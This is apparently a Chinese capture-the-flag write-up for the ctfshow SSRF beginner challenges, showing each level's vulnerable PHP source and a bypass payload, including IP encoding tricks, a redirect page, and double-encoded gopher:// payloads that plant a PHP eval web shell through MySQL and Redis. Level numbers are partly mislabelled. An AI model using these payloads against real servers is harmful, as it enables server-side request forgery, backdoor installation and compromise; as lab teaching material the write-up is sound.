ctfshow--web入门--SSRF

ctfshow,web,入门,ssrf · 浏览次数 : 28

小编点评

内容生成时需要带简单的排版，并以简便的排版方式生成内容。

正文

ctfshow--web入门--SSRF

web351

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

没有进行过滤
payload

url=http://127.0.0.1/flag.php

web352

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

parse_url()函数会解析url中的各个参数
代码中会检测协议是否为http或https，使用正则表达式匹配关键字是否含有localhost或127.0.0
绕过方式:可以使用进制转换的方式将ip地址转换为其他进制进行访问
payload:

url=http://0x7F000001/flag.php		十六进制

web153

同上

web154

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

这里检测的是是否包含1或0,采用进制转换的方式就不能绕过了，可以采用域名解析或短网址绕过或者重定向
这里可以采用域名解析，让域名解析到127.0.0.1，再让服务器访问域名就可以了。

web155

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

这里对地址进行了长度检测，可以采用简写的方式去绕过
payload:

url=http://0/flag.php
url=http://127.1/flag.php

web156

同上

web157

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?>

gethostbyname()这里对url对应的ip地址进行了检测，因此不能使用短网址，域名解析等手段了，只能采用重定向的方式，构建一个重定向的网页，跳转至http://127.0.0.1/flag.php即可,然后将文件放入服务器中，去访问它即可
payload:

<?php
header("Location:http://127.0.0.1/flag.php");

web158

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

源码中要求http://ctf.开头，以show结尾才可以进行读取url。
payload:

url=http://ctf.@127.0.0.1/flag.php?show

web159

在这里插入图片描述
题目中提示打无密码的myslq，那么攻击myslq肯定不能用http协议去攻击，这时候需要用到gopher协议进行对mysql的命令执行，使用工具Gopherus去生成payload，由于数据在提交过程中浏览器会对其进行url解码，为了保证服务器接受到的数据与payload一致，需要对带有百分号部分进行二次编码
在这里插入图片描述

payload:

http://a8649415-216a-49c8-8f44-265bc2682d7c.challenge.ctf.show/check.php

u=Username&returl=gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2546%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2578%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2522%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2531%252e%2570%2568%2570%2522%2501%2500%2500%2500%2501

最后在check.php页面进行传参
在这里插入图片描述

最后连接后门在服务器根目录下查看flag即可

web160

这里一样的方法，攻击redis数据库，默认生成的文件名为shell.php，将payload中带有百分号的部分进行二次编码然后进行传参即可。
在这里插入图片描述
payload:

url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252429%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255Bx%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

以上内容仅作参考学习，如有瑕疵或错误，希望各位师傅们斧正，感谢阅读。